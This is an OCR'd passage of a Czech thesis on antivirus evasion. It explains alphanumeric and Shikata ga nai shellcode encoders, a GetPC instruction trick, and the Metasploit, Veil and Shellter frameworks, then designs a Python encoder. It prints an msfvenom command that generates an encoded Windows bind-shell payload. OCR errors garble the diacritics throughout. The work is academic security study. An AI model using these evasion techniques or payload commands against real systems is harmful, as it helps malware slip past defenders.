e Cilenda HW architektura
e Format skodlivého kédu

Cileny operacni systém ovliviiuje vybér cilené architektury i mnozinu skod-
livych kodu, které se pak budou spoustét na cileném systému. Cilem prace
je navrhnout a implementovat aplikaci pro zakdédovani skodlivého kédu, tedy
neni cilem vybrat operacni systém s nejvyssi moznou trovni bezpec¢nosti. Jako
nejvhodnéjsi kandidati se nabizeji operacéni systémy platformy Windows, Li-
nux, Android a i0S. Posledni dva z vybéru vyrazuji, neb vyzaduji specifickou
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PE soubor

DOS hlavicka

- PE hlavicka

Hlavicky

Tabulka sekci

.text sekce

Sekce
> .data sekce

Obrazek 1.7: Struktura spustitelného souboru (PE) [32]

HW architekturu, a ackoliv antivirové softwary existuji (napiiklad pro An-
droid OS to jsou Avast [34], AVG [35], ESET [36] nebo McAfee [37]), jejich
uzivani neni dle mého nazoru iplné bézné. Na zakladé této tivahy vyTazuji téz
operacni systém Linux, neb uziti antivirového softwaru na této platformé se
mi jevi jako minimalni. O divodech, pro¢ neni na platformé Linux potieba an-
tivirus, pojednava naptiklad tento ¢lanek Why You Don’t Need an Antivirus
On Linux [38].

Logické je tedy uvazovat platformu Windows a jelikoz, jak jiz bylo zminéno
v predchozim odstavci, je cilem pozorovat chovani antivirového softwaru pri
aktivaci Skodlivého kédu (resp. jeho detekci ¢i ne-detekei), volim platformu
Windows XP. Toto rozhodnuti téz ovliviiuje vybér cilené HW architektury —
tedy nejedna se o 64-bitovou architekturu ani architekturu typu ARM, ovSem
o 32-bitovou. Tuto volbu volim i z toho duvodu, ze skodlivy kéd se najde
snaz, jelikoz podpora pro Windows XP jiz skonéila v roce 2014 [39] a detekce
a obrana proti skodlivému kédu bude feSena primarné antivirovym fesenim,
coz je zadouci pro porovnani vysledki. O laboratornich podminkéach, ve kte-
rych se pracuje se skodlivym kédem a o parametrech vyhodnoceni vysledki,

pisi vice v kapitolach [B|[Navrh a [5][Testovani]

Na zékladé vyse uvedené iivahy se mi jevi spustitelny EXE soubor jako nej-
lepsi format skodlivého kédu. Tato volba téz souvisi s algoritmy, které se zkou-
maji a implementuji [L.5][Alfanumericky enkodér] a [1.6][Shikata ga nai] v rdmci
této prace.
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1.5. Alfanumericky enkodér

Pamét

Spustitelny soubor .data sekce

NEHETETERER O ETEY

.reloc sekce
.text sekce

|

.data sekce

Tabulka sekci

H

Tabulka sekci

PE Hlavicka

DOS Hlavi¢ka DOS Hlavicka

\

Obréazek 1.8: Spustitelny soubor — mapovani do paméti, vlevo je soubor na
disku, vpravo v pameéti

1.4.1 Struktura spustitelného souboru

Na operac¢nich systémech Windows je spustitelny soubor (PE). Zkratka PE
znamend Portable Fxecutable. Zatimco na systémech s operac¢nim systémem
Linux, Solaris, IRIX, FreeBSD, NetBSD, OpenBSD je ELF (Executable and
Linkable Format). Format ELF zahrnuje spustitelné soubory, objektové sou-
bory, dynamické knihovny. Struktura ELF souboru je velmi podobné spusti-
telnému souboru na Windows [40, [41].

Jak jsem jiz zminila, mé zajima operacni systém Windows a struktura
spustitelného souboru pro opera¢ni systém Windows. Spustitelny soubor na
operacnim systému Windows zahrnuje soubory typu EXE, DLL a ovladace.
Vsechny PE soubory obsahuji hlavicky a sekce [43], struktura PE souboru je
znazornéna na obrazku [I.7] Na jménech sekci nezdlezi, mohou byt jakdkoliv.

V této praci se zabyvam konkrétné soubory typu EXE. Pti spusténi EXE
souboru jsou ¢asti programu nacteny do paméti. Struktura souboru je v pa-
méti stejnd jako na disku. OvSem ne vSechny ¢asti souboru musi byt nutné
namapovany do paméti — napiiklad debuggovaci informace. Stejné jako po-
loha dat na disku se obvykle lis{ od polohy téch samych dat v paméti. Toto je
zndzornéno na obrazku

1.5 Alfanumericky enkodér
Alfanumericky enkodér je program, ktery muze pomoci obejit antivirovy pro-
gram. Daéle se také pouziva v pripadech, kdy se tutocnik snazi obejit rtzné

znakové filtry v aplikacich. Hodi se napriklad pro utoky typu buffer overflow,
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plvodni Skodlivy kod (ascii 0 - 255)

1

dekoder ABI83sienn3CEc7fwoDp5VAsdoo542fds54FSD

Obréazek 1.9: Princip Alfanumerického enkodéru — pred ptuvodni Skodlivy kéd
byl pridan dekodér a ptvodni skodlivy kéd byl zakédovan tak, ze nyni obsahuje
pouze alfanumerické znaky

kdy aplikace vyuziva valida¢ni funkce — napiiklad v jazyce C isalnum() nebo
isprint (). Tento enkodér zakdduje shellcode tak, ze obsahuje pouze alfa-
numerické znaky. To znamend, Ze alfanumericky enkodér na vstupu prijme
payload — shellcode, ktery je slozen z hexadeciméalnich ¢islic \x00 az \xFF
a ten zakoduje tak, ze vysledny zakédovany shellcode bude obsahovat pouze
znaky A-7 (0x41 az 0x5A), a—z (0x61 az 0x7A), 0-9 (0x30 az 0x39) [14]. Je
vhodné zminit, Ze existuji rizné druhy alfanumerickych enkodérti a nékteré
zakodovavaji payload napriklad tak, ze obsahuje pouze velké pismena a ¢islice.

Pro pochopeni je dtlezité si vysvétlit, jak jsou reprezentovany znaky v po-
¢itaci a jak vypadd strojovy kod.

Znaky jsou v paméti reprezentované urcitym kodem, jeden ze zplisobu
reprezentace je pravé ASCII tabulka. Aby kod obsahoval pouze alfanumerické
znaky, tak je nutné zajistit, ze bude slozen pouze z hexadecimalnich ¢isel 30—
39, 41-5A a 61-7A, jak lze vidét na obrdzku

Assembler je jazyk symbolickych instrukci. Je to nizkoirovnovy programo-
vaci jazyk. Existuje spousta druhii assemblert, kazdy je specificky pro urcitou
architekturu. V x86 assembleru, kterym se ja budu zabyvat, je kazda instrukce
reprezentovana urcitym opera¢nim kédem (zvanym téz opcode). Jak lze vidét
na obrdzku [B.I] a v tabulce nékteré instrukce v assembleru maji stejné
koédy jako alfanumerické znaky v ASCII tabulce. A presné toho vyuziva al-
fanumericky shellcode. To znamend, ze vysledny zakodovany alfanumericky
kéd bude obsahovat pouze ty instrukce, které maji specificky alfanumericky
opcode.

1.5.1 MozZnosti reseni

Existuje mnoho zpisobi, jak zakddovat shellcode tak, aby obsahoval pouze
alfanumerické znaky. Podrobnéji rozeberu nasledujici tri moznosti reseni pro-
blému alfanumerického enkodéru:
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Tabulka 1.2: x86 tisknutelné opcody pro ¢isla, dalsi zde [44]
| HEX | ASCII | Assembly |

30 0 XOR [m8],r8

31 1 | XOR [ml16/32],r16/32

32 2 XOR r8,[m§]

33 3 | XOR r16/32,[m16/32]

34 4 | XOR AL, i8

35 5 | XOR AX/EAX, i16/32
36 6 SS: PREFIX

37 7 AAA

38 8 CMP [m8|,r8

39 9 | CMP [ml6/32],r16/32

e base64 — jako vhodné by se mohlo jevit pouzit base64 enkodér. Ten
kazdé tii znaky (byty) v ASCII zakéduje pomoci ¢tyt alfanumerickych
znakd. OvSem zde je problém, zZe base64 enkodér pouziva i jiné nez
alfanumerické znaky, konkrétné =.

e Wever — Tento pristup navrhl Jan Wever, dekodér vyuziva smycku, a tu-
diz jeho velikost je nezavisla na velikosti zakédovaného kodu [45]. Tento
zpusob zakédovava jak alfanumerické znaky, tak nealfanumerické, a to
tim zpusobem, Ze byte rozdéli na dvé poloviny (nibbly) a kazdy pak
doplni 4 bity tak, aby vysledné dva byty byly alfanumerické. Timto zpu-
sobem se zabyvam v kapitole

e Rix — Oproti pfedchozimu ptistupu, tento zakédovava pouze ty znaky,
které nejsou alfanumerické. Vyuziva k tomu instrukci XOR a pevné dané
konstanty. Bohuzel to je velkd nevyhoda tohoto zpusobu, vysledny kod
je velky, protoze dekodér je sekvenc¢ni — pro kazdy nealfanumericky znak
v puvodnim shellcodu jsou potieba specidlni instrukce [45].

Mimo to existuje samoziejmé moznost se pti ru¢nim psani shellcodu vy-
hnout vSem instrukcim, které nemaji alfanumericky opcode a pouzivat pouze
ty, které maji alfanumericky. Ovsem tento piistup neni moc univerzalni a ani
neni snadno aplikovatelny [15].

1.6 Shikata ga nai

Shikata ga nai je polymorficky enkodér, coz znamend, ze vyuziva polymorfis-
mus, ktery je vysvétlen zde Tento enkodér je implementovan v nastroji
Metasploit [46]. K dekédovani pouzivd dekodér. Shikata ga nai patii mezi en-
kodéry, které pouzivaji klic. Tento enkodér skodlivych kéda kombinuje hned
t¥i rizné metody, jak obejit antivirovy program:
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e Generator dekodéru vyuziva metamorfismus — substituci a zménu po-
fadi instrukei v kédu, aby vysledny kéd byl jiny pokazdé, kdyz dojde
k vygenerovani. Timto se snazi vyhnout detekci zalozené na signaturach.

e Pouziva zretézeny samo-modifikujici kli¢ — to znamena, ze pokud je kli¢
nespravny v jakékoliv fazi dekédovani, tak i vSechny nasledujici vystupy,
budou nespravné.

o Sam dekodér je obfuskovin — pomoci FPU (Floating Point Unit) in-
strukei, aby byl odolny vuéi emulaci (emuldtory totiz plné nepodporuji
FPU instrukce). A také pomoci modifikace aktudlniho bloku. FPU in-
strukce jsou instrukce, které se v pocitaci staraji o praci s desetinnymi
Cisly.

1.6.1 Dekodér Shikata ga nai

Jak jsem jiz zminila, zakédovany skodlivy kéd obsahuje dekodér. Kazdy skod-
livy kéd ma specificky dekodér v zavislosti na tom, jakym zptisobem byl za-
kédovan puvodni skodlivy kéd. Dekodér dekdduje zakédovanou ¢ast za béhu.
Dekodér u Shikata ga nai za béhu XORuje zakédované byty s klicem. Tento
CtyT bytovy kli¢ je ndhodné vygenerovan pred zacatkem kdédovani. Kli¢ se pro
kazdy dekdédovany byte méni — pomoci instrukce add.

Dulezitou soucasti tohoto dekodéru je také ziskani adresy lokace kodu v pa-
meéti. Jak jsem jiz zminila, kazdy kéd, ktery se za béhu sam méni (dekdduje),
ji potiebuje. Shikata ga nai k tomuto vyuzivdi FPU instrukci fnstenv. Zde
je priklad pouziti této instrukce k ziskdni adresy programu [47]. Funguje to
tak, ze nejdiive je vykonana jakékoliv FP (Floating Point) instrukce a vzapéti
je vykonana instrukce fnstenv. Vysledkem téchto operaci je ziskani adresy
prvni vykonané FP instrukce. Z toho plyne, ze pokud prvni FP instrukce byla
vykondna na samotném zacatku kédu, ziskand adresa bude adresou lokace
kédu v paméti (anglicky base address).

Tudiz, jak je zminéno zde [47], k adrese se lze dostat napiiklad pomoci
téchto instrukci fldz; fnstenv [esi]; mov eax, [esi+Oxc]. 0xC z toho
davodu, zZe adresa je ulozena s offsetem 0xC. Tudiz lze pouzit i fnstenv
[esp-0xc] [48].

1.6.2 Detekce skodlivého kédu zakédovaného Shikata ga nai

Shikata ga nai lze jen tézko detekovat pomoci statické analyzy. Ovsem lze
pouzit naptiklad emulaci a sledovat, co se déje pti spusténi souboru zakddo-
vaného timto enkodérem. Lze pockat, az dekodér dekdduje zakdédované byty
za béhu a dale zkoumat tyto zménéné byty.
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KAPITOLA 2

Reserse existujicich metod k

o

zakodovani Skodlivych kodi

Pro zakédovani skodlivého kédu tak, aby nebyl rozpoznan antivirovym soft-
warem existuje mnoho aplikaci. Dle mého nézoru je nejzajimavéjsi Veil [49],
Metasploit [46] a Shellter [50] — druhy jmenovany jiz z toho divodu, Ze je to
aplikace (framework) casto vyuzivand a sklonovana odborniky na bezpec¢nostni
testovani. To je také divod, proc jsou tyto tii aplikace popisovany v této casti.
Taktéz je vyuzivam jako referencni bod (viz kapitola |3| Navrh). VSechny t¥i
aplikace, jak Veil tak Metasploit, tak i Shellter, jsou volné dostupné a snadno
pouzitelné. K Metasploitu jsou dokonce zverejnéné i zdrojové kédy aplikace
a modull — je tedy snadno analyzovatelny a rozsirovatelny. Toho mohou vy-
uzit i vyvojari antivirovych aplikaci pri vytvareni pravidel, podle kterych an-
tivirovy software detekuje a hledd skodlivé soubory/aplikace. Cilem snazeni
vyvojaru antivirového softwaru je i to, aby detekoval skodlivy kéd generovany
¢i jinak zpracovavany aplikacemi jako jsou zminéni Veil Evasion, Metasploit,
¢i jim podobné. Nejoblibenéjsim nastrojem je dle mého nazoru Metasploit,
proto s nim zacnu.

2.1 Metasploit

Jak jsem jiz zminila Metasploit Framework (MSF) je velmi oblibeny nastroj
mezi bezpecénostnimi odborniky. Metasploit je predinstalovany v opera¢nim
systému Kali Linux, coz je distribuce specialné vytvorena pro penetrac¢ni tes-
tovani [46]. Tento framework je napsany v programovacim jazyce Ruby. Pro
zjednoduseni vyvoje ruznych skodlivych kédua se skldda z riznych moduld.
Metasploit je opravdu obsahly framework, vyvijeny jiz fadu let. Metasploit
pro penetracni testovani nabizi riznda rozhrani, bud ho lze spustit jako konzo-
lovou aplikaci nebo je mozné jednotlivé prikazy zadavat do prikazové radky.
Konzolovou aplikaci 1ze spustit prikazem msfconsole, na obrazku [2.1] je vidét,
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ting with

trial: http

Obrazek 2.1: Metasploit po spusténi msfconsole

jak vypada Metasploit po spusténi.
Zminéné moduly Metasploitu jsou nasledujici:

e exploity — kody, které zneuzivaji zndmé zranitelnosti
o payloady — skodlivé kédy, které provadi skodlivé aktivity

o enkodéry — zakdduji payload tak, aby nebyl rozpoznan antivirovym pro-
gramem

e post moduly — tyto moduly bézi na jiz napadeném zafizeni, napiiklad
meterpreter

2.1.1 Enkodéry

Nejzajimavejsi casti Metasploitu je pro mé modul, ktery zahrnuje rizné en-
kodéry. Tento modul se samostatné spousti pomoci prikazu msfvenom. Diive
existoval Msfencode a Msfpayload, nyni jsou tyto dva programy spojeny do
jednoho, MSFvenom. Krom obchézeni antivirovych programi, tento modul
slouzi také k zakdédovani payloadu tak, aby neobsahoval nékteré spatné znaky.
Spatné znaky jsou znaky, které mohou rozbit shellcode. Zalezi na pouziti a na
typu payloadu, Spatné znaky se mohou lisit. Jako priklad, ktery se vyskytuje
nejcastéji uvedu, 00 pro NULL nebo 0A pro novy fadek [51].
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Obrazek 2.2: Metasploit — rizné enkodéry

Prikazem msfvenom -1 encoders si lze vypsat vSsechny mozné enkodéry,
které jsou v Metasploitu implementovany. Jak lze vidét na obrazku[2.2] MSFve-
nom obsahuje enkodéry pro rtzné architektury a operac¢ni systémy. Napriklad
pro architekturu x86 nebo x64. Také obsahuje enkodéry specidlné pro PHP
apod. [62]. Podrobnéji rozeberu nasledujici enkodéry:

o Shikata ga nai
o Alfanumericky enkodér

e Single Byte XOR Countdown

2.1.1.1 Shikata ga nai

Shikata ga nai vyuzivd polymorfismus. Dekodér je vygenerovan na zakladé
dynamickém nahrazovani a sefazeni blokti. Déle jsou také dynamicky vybirany
registry [53]. Zakédovany kod se sdém za béhu dekdduje pomoci operace XOR.
7 toho duvodu je také potfeba, aby misto v paméti, kde bézi payload, bylo
zapisovatelné [54].
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-p windows/shell/bind tcp -e 6/alpha mixed -f python

Obréazek 2.3: Metasploit — piiklad pouziti msfvenom na vygenerovani alfanu-
merického payloadu

2.1.1.2 Alfanumericky enkodér

Alfanumericky enkodér uz byl zminény v pfedchozi kapitole Analyza. Me-
tasploit Framework nabizi hned nékolik zpusobu zakédovani pomoci tohoto
enkodéru [55] — napriklad alfanumericky enkodér s pouze velkymi A-Z znaky
nebo alfanumericky enkodér s pouze malymi znaky a—z. Na obrazku je
vidét, jak lze pomoci msfvenom vygenerovat takovy alfanumericky payload.
Ovsem, kdyz se podivam podrobnéji na prvnich par byt tohoto vygenerova-
ného payloadu, tak zjistim, ze z prvnich 7 byth jich 6 neni alfanumerickych.
Jak je to mozné? Téchto 7 prvnich bytt se stard o zjisténi absolutni adresy
programu v pameéti. Poté, co je hodnota adresy programu v paméti zjisténa, je
uloZena do registru a tento registr je posléze pouzivan k dopocitavani relativ-
nich offseti. Existuje samoziejmé postup, jak téchto prvnich 7 bytd nahradit
¢isté alfanumerickymi. Tento zpusob je zminén v kapitole[Navrh]l A pak ziskdm
¢isté alfanumericky payload.

2.1.1.3 Single Byte XOR Countdown

Tento enkodér dekdduje zakdédovanou c¢ast od konce, pomoci operace XOR,
byte po bytu. Pouziva délku zbyvajiciho payloadu jako kli¢ enkodéru. Diky
tomu dekodér nemusi obsahovat statické informace o klici a je tudiz mensi [56].

24



2.2. Veil Framework

2.2 Veil Framework

Druhym nejznaméjsim frameworkem je Veil. Ma podobné vlastnosti jako Me-
tasploit. Sklada se z riznych moduli a také obsahuje rtzné, jiz predpripravené
payloady v rtiznych jazycich — napiiklad C, Ruby nebo Python. Mimo to Veil
umi pracovat i s payloady vygenerované pomoci Metasploitu. Tento framework
je mnohem novéjsi nez Metasploit a také dle mého nazoru neni tak znamy. Je
délany predevsim pro penetrac¢ni testovani.

Nejdiive rozeberu Veil ve verzi 2, ktery se skldda z nasledujicich ¢asti [57]:

e Veil-Evasion — zabyva se zpisobem, jak obejit antivirovy program. Umi
vygenerovat takové payloady, které obejdou antivirovy program, vyuziva
msfvenom.

e Veil-Catapult — po vygenerovani skodlivého kédu se staré o jeho doruceni
na zarizeni obéti.

e Veil-PowerView — skripty v PowerShellu urcené pro exploitaci.

o Veil-Pillage — post exploitace, nahrazuje Veil-Catapult, tudiz prebira
i jeho funkce.

e Veil-Ordnance — néastroj pro generovani shellcodu.

Poté doslo ke zméné tohoto frameworku, a ve verzi 3.0 se nékteré moduly
sjednotily, pripadné staly samostatnou aplikaci. A proto Veil-Framework 3.0
obsahuje jiz jen dva nésledujici moduly [57]:

¢ Ordnance
« Evasion

Sjednocuje predchozi samostatné néastroje Evasion, Ordnance, Catapult
a Pillage. PowerView zustava jako samostatna aplikace. Veil 3.0 je naprogra-
movan v jazyce Python 3.

Samotny Veil neni predinstalovany na systému Kali Linux, proto je nejdiive
nutné si ho nainstalovat pomoci prikazu apt-get install veil. Poté lze
spustit prikazem veil. Veil ke svému spravnému fungovani potiebuje Wine
a Python. Na obrazku je vidét okno, které se zobrazi po spusténi. Poté si
lze vybrat jeden ze dvou zminénych modulti — Ordnance nebo Evasion.

2.2.1 Ordnance

Ordnance obsahuje jiz predpripravené payloady — reverse tcp, reverse http, re-
verse https, reverse tcp dns, reverse tcp all ports, bind tcp. Déle také zahrnuje
jeden enkodér, ktery lze pouzit na zbaveni se Spatnych znaku [58].
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Main Menu
2 tools loaded
Available Commands:

exit Exit veil

info Information on a specific tool
list List available tools

update Update Veil

use Use a specific tool

Main menu choice:

Obrazek 2.4: Veil — okno, které se zobrazi po spusténi

2.2.2 Evasion

Veil-Evasion je nastroj na vytvareni payloadu, které se dokdzi vyhnout detekci
antivirovym programem. Evasion dokéze prevést shellcode na spustitelny sou-
bor.

2.3 Shellter

Poslednim softwarem na obchazeni antivirového programu, ktery zde zminim,
je Shellter. Shellter krom klasické verze nabizi také placenou verzi Shellter Pro,
ktera obsahuje prémiové funkce — podpora pro vétsi payloady, lepsi enkodér.
Oproti Veilu a Metasploitu je Shellter uzavieny a jeho zdrojové kddy nejsou
verejné. Shellter je program, ktery umi injektovat shellcode do spustitelného
souboru. Mimo jiné muze byt pouzit na injektovani skodlivého shellcodu do
nativnich Windows aplikaci. OvSsem podporuje pouze 32 bitové aplikace. Uzi-
vatel muze pouzit sviij vlastni shellcode nebo shellcode vygenerovany tireba
Metasploitem [59]. Déle je Shellter také kompatibilni s enkodéry Metasploitu.

Vyhodou Shellteru je, zZe je kompatibilni s Windows i s Linuxem. Shellter
lze nainstalovat na Kali Linuxu pomoci pfikazu apt-get install shellter.
Po instalaci se Shellter spousti piikazem shellter. Vzhledem k tomu, ze shell-
ter je spustitelny soubor soubor pro Windows, tak je k jeho spusténi na Linuxu
potieba program Wine. Po spusténi se otevie nové okno, které lze vidét na

obrazku 2.5l
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Shell7er [ ]

Choose Dperation Mode - Auto/Manual {A/MAH): _

Obrazek 2.5: Shellter — okno, které se zobrazi po spusténi

Dale Shellter nabizi i par dopredu pripravenych payloadi, které mohou byt
vyuzity naptiklad pro penetraéni testovani. Naptiklad meterpreter reverse
tcp nebo shell bind tcp [59].

2.3.1 Shellter enkodér

Shellter nabizi sviij vlastni dynamicky enkodér. Pouzivé k zakédovani nahodné
vygenerovanou sekvenci instrukci XOR, ADD, SUB, NOT. Na zakladé této
sekvence nasledné vygeneruje dekodér. Navic je také mozné si zvolit vlastni
sekvenci misto té ndhodné vygenerované.
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KAPITOLA 3

Navrh

V této kapitole se vénuji ndvrhu aplikace pro prikazovou radku, jejimz tko-
lem je zakédovat skodlivy kod alfanumerickym enkodérem. Uzivatel si predem
pripravi svij skodlivy kod, ktery do aplikace nacte bud ze souboru anebo
z prikazové tadky. Vystupem aplikace je zakdédovany skodlivy kéd vybranym
enkodérem, ktery bude bud ulozen do souboru nebo vypsan na piikazovou
radku. Aplikace bude implementovana v programovacim jazyce Python, pro-
toze vyhodou tohoto programovaciho jazyka je, ze je prenositelny. Tudiz apli-
kace bude fungovat, jak na operacnim systému Windows, tak na opera¢nim
systému Linux. Tato aplikace cili predevsim na bezpec¢nostni experty a pe-
netrac¢ni testery, ktefi mohou pomoci této aplikace testovat ruzné shellcody
a pomoci nich testovat napriklad, zda-li je aplikace zranitelnd na ttoky typu
buffer overflow. Vysledny zakédovany payload, ktery je vystupem aplikace, cili
na platformu Windows. Diavody k vybéru Windows byly zminéné v kapitole
Analyza.

Dale jsem také chtéla implementovat metodu Shikata ga nai. Tato metoda,
ale implementoviana neni, a to z toho divodu, ze jsem k této metodé nalezla
pouze jediny zdroj vyuzitelny pii implementaci. Tim zdrojem je vefejné do-
stupny zdrojovy kéd frameworku Metasploit. Tento kod je napsin v Ruby a
vyuziva specifické knihovny, které jsou jen v Ruby. Ostatni zdroje rozebiraji
tuto metodu velice povrchné a spise se zabyvaji zpusoby, jak detekovat kdd
zakodovany touto metodou.

3.1 Pouzité technologie

Jako prvni bylo tieba si zvolit programovaci jazyk, v kterém bude aplikace im-
plementovana. Existuje celd fada programovacich jazyki, ve kterych lze psat
programy pro prikazovou fadku — jako ptiklad uvedu Python, C, C++, Java
nebo C#. Z téchto zminénych jazyka ovladam Python, C a C++. Psat apli-
kaci v ¢istém C neni divod, akorat bych si tim fadu véci komplikovala. Proto
jsem se nakonec rozhodovala mezi Pythonem a C++. Ke své implementaci ne-
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potfebuji vyuzivat zadné specialni knihovny, tudiz to neovliviiuje mij vybér.
Vyhodou jazyka C++ je, Ze je oproti Pythonu rychlejsi, tudiz se hodi spise pro
existuje celd fada knihoven usnadnujici praci a je z mého pohledu jednodussi
na rychly vyvoj aplikaci. Vzhledem k tomu, ze moje aplikace neni naro¢nd na
vykon a nepotiebuje byt extrémné rychld, jsem se rozhodla pro Python.

3.1.1 Python

Pro implementaci jsem zvolila programovaci jazyk Python. Python je vysoko-
urovnovy programovaci jazyk. Je v ném napsan naptiklad i Shellter a Veil —
programy zminéné v kapitole [Reserse existujicich metod k zakodovani skodli
Ackoliv je Python pomalejsi (u jednoduchych aplikaci se to témér
neprojevi), nez C++, tak je v ném zase snazsi a rychlejsi vyvijet. Tudiz se hodi
pro mou aplikaci, ktera neni nijak zvlast zavisld na vykonu a rychlosti. Exis-
tuji dvé verze Pythonu, které nejsou vzajemné kompatibilni, starsi, ale stéle
hojné vyuzivany Python 2 a novéjsi Python 3. Rozhodla jsem se pro Python
3, protoze nepotrebuji zddnou specidlni knihovnu, ktera je napsana pouze pro
Python 2 a proto neni divod pouzivat starsi verzi. Konkrétné jsem zvolila
Python ve verzi 3.5.

3.2 Vstupy aplikace

Aplikace je navrzena tak, ze existuje vice zpusobu, jak do ni zadat shellcode.
Prvni moznosti je zadat nézev binarniho souboru, ktery obsahuje shellcode.
Druhym zptisobem je zadat pii spusténi aplikace argument -i <format>, po
spusténi bude uzivatel dotazdn na shellcode. A tfetim zptsobem je spustit
aplikaci s argumentem -p a zadat shellcode po spusténi aplikace pomoci pri-
kazu shellcode. Podrobnéji jsou tyto zplsoby popsdny v priloze v manudlu
aplikace.

Shellcody, které jsou do aplikace zadavany na ptikazové radce, mohou byt
v ruznych formatech. Aplikace dokaze zpracovat ndsledujici formaty. Vzdy
predpoklada, ze shellcode je zadan v Sestnactkové soustaveé:

e \x56 \xA4 \x56
e 56 A4 56

o 56A456

Déle si uzivatel voli zptusob, jakym chce dostat vysledek. A to pomoci
argumentu a nebo piikazu zadanych uz do spusténé aplikace.
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3.3 Vystupy aplikace

Podobné jako u vstupi, i u vystupi si uzivatel mize vybrat v jakém forméatu
bude vysledny shellcode a zda a jak bude vypsan na prikazovou radku, ¢i bude
zapsan binarné do souboru. Mozné formaty pro vypis na piikazovou radku jsou
stejné jako u vstupu aplikace. A navic jsou pridany jesté dva forméaty — format
pro jazyk C a format pro Python.

3.4 Alfanumericky enkodér

Vysledny skodlivy soubor bude obsahovat dekodér a zakdédovany puvodni
skodlivy kéd. Aby dekodér mohl dekdédovat zakddovanou ¢éast, tak musi védét,
kde tento kod lezi v paméti. K ziskani této adresy se pouziva kéd nazvany
GetPC. PC znamend program counter, téz ¢asto nazyvan IP (instruction poin-
ter). V registru EIP je ulozen ukazatel na aktualné provadénou instrukci.

GetPC se pouziva v kdodech, které se potrebuji odkazovat sami na sebe.
A to pottfebuji napiiklad kédy, které se samy dekdduji nebo samy modifikuji.
Jelikoz alfanumericky kdéd je kdéd, ktery se sim modifikuje, bude potiebovat
GetPC kéd, a to jesté navic alfanumericky.

Pro alfanumericky GetPC kdd je dulezité, na jakou platformu cili vysledny
skodlivy kéd. Na Windows lze vyuzit SEH GetPC (Structured Exception Han-
dlers). Potom, co dojde k ziskani adresy kodu v paméti je tfeba si ji ulozit do
registru.

Existuji i dalsi zptisoby, jak ziskat adresu lokace programu v paméti, na-
priklad pomoci fnstenv FPU instrukce. Tuto metodu vyuziva Shikata ga nai,
pro alfanumericky shellcode se nehodi, protoze se nesklada z alfanumerickych
znakil.

3.4.1 Enkodér

Cilem je vzit néjaky shellcode a vytvorit z néj shellcode slozeny pouze z alfa-
numerickych znaku. K tomuto pouziji Weverovo kédovaci schéma [60], znézor-
néné na obrazku A a B jsou dohromady jeden byte. Tudiz A reprezentuje
4 bity stejné jako B zbylé 4 bity. Nejdiive najdu takové E, které bude do-
hromady s F davat alfanumericky znak. Potom vezmu toto E a udélam XOR
s A a vysledek ulozim do D. Nakonec najdu C stejnym zptisobem jako jsem
hledala E. V mém enkodéru hleddm C i E hrubou silou.

Ukoncovaci znak — dekodér musi néjak poznat, Ze je u posledniho znaku
zakédovaného kédu a ze mé skoncit s dekddovanim. K tomuto vyuziji znak
A, ktery se pouzije pouze jednou, a to na konci zakdédovaného kédu. A bude
signdlem pro dekodér.
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\J \J
C D E F

Obrazek 3.1: Weverovo kédovaci schéma

3.4.2 Dekodér

Poté, co zakdduji shellcode, je potfeba pred néj dat jesté dekodér. Coz jsou
instrukce v assembleru, které se po spusténi programu spusti jako prvni a de-
kéduji zakédovanou ¢ast. To znamend, ze kéd se za béhu sdm méni, prepisuje
zakodovanou ¢ast, tou dekddovanou a poté se tato dekdédovana c¢ast zacne
provadét. K tomu je potieba, aby pamét, kde lezi kéd, méla prava ke cteni,
zapisovani a i spousténi, navic jak jiz bylo zminéno, je tfeba znat lokaci pro-
gramu v paméti. Tento dekodér se sklada z nasledujicich nékolika c¢asti:

e« SEH GetPC
e priprava registri
o dekddovaci smycka

Jak jiz bylo zminéno, prvni ¢ast SEH GetPC vyuziva Structured Exception
Handlers k ziskani adresy lokace programu v paméti (base address). Kdyz ve
Windows nastane v néjakém programu vyjimka, tak Windows vygeneruje za-
znam o této vyjimce, mimo jiné v tomto zdznamu je hodnota program counteru
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(PC) ve chvili, kdy k vyjimce doslo. Informace, které Windows vygenerovaly
jsou uloZeny na zasobniku a program se k nim mutze dostat pomoci vlastniho
zpracovani vyjimky [48]. Nésledujici kroky jsou tieba k ziskani base adresy:

e zaregistrovat vlastni zpracovani vyjimky
e vyvolat vyjimku
e pomoci nového SEH ziskat misto, kde byla vyjimka vyvolana

e poté pokracovat ve vykonavani kédu za vyjimkou

Druhé c¢ast dekodéru pripravuje hodnoty v registrech pro dalsi pouziti.
Treti ¢asti je dekodovaci smycka, ta se zabyva samotnym dekédovanim zakd-
dovaného kédu. K tomu vyuziva predevsim instrukci imul a pak také instrukci
xor, ktera se pouziva predevsim z divodu vyhnuti se riznym ne alfanumeric-
kym instrukcim. Instrukce imul je vyuzivana k posunuti bytu o 4 bity doleva,
coz se hodi vzhledem ke zpusobu zakédovani.

Windows SEH je Structured Exception Handler, stard se o odchytavani
vyjimek. Asi vSichni znaji zndmé dialogové okno, které vyskoci, kdyz program
nefunguje tak, jak mé a nabidne odeslani chyby Microsoftu.

3.5 Pripady uziti

Uzivatel, ktery bude chtit tuto aplikaci vyuzit, by mél mit pripraven vlastni
shellcode. Ackoliv v aplikaci je pripraven shellcode, ktery muze uzivatel vyuzit
v pripadé, pokud nemd vlastni. Ale slouzi pouze pro testovaci ucely. Déle zde
zminim nékolik ptipadd vyuziti této aplikace:

e skryvani pravého obsahu shellcodu

o posilani shellcodu v textové podobé (tak, ze ptujde napriklad jednoduse
poslat emailem)

3.6 Struktura navrzené aplikace

Aplikace se skldda z nasledujicich funkci:
o argumenty() — tato funkce se stard a zpracovani argumentii aplikace

e zakodovat_shellcode() — tato funkce zakédovava shellcode alfanume-
rickym enkodérem

e dekodovat_vstup() — tato funkce zpracuje vstup, ktery mize byt v riz-
nych forméatech
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e soubor_vystup() — tato funkce ulozi zakdédovany shellcode do souboru

e text_vystup() — tato funkce vypise zakddovany shellcode ve zvoleném
formétu
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KAPITOLA 4

Realizace

Tato kapitola se zabyva realizaci aplikace pro prikazovou radku, kterd zaké-
duje skodlivy kéd alfanumerickym enkodérem. Vyslednd aplikace pro prika-
zovou radku je napsdna v jazyce Python, tudiz je prenositelnd. To znamena,
ze si ji uzivatelé mohou spoustét, jak na operac¢nim systému Windows, tak
na operacnim systému Linux. Aplikace je realizovdna dle pfedchozi kapitoly
Nejdrive popisuji prostredi, ve kterém byla aplikace vyvijena, pak se
zaméruji na jeji hlavni ¢ast — a to alfanumericky enkodér. Nakonec popisuji
testovani s riznymi vstupy.

4.1 Vyvojové prostredi a jazyk

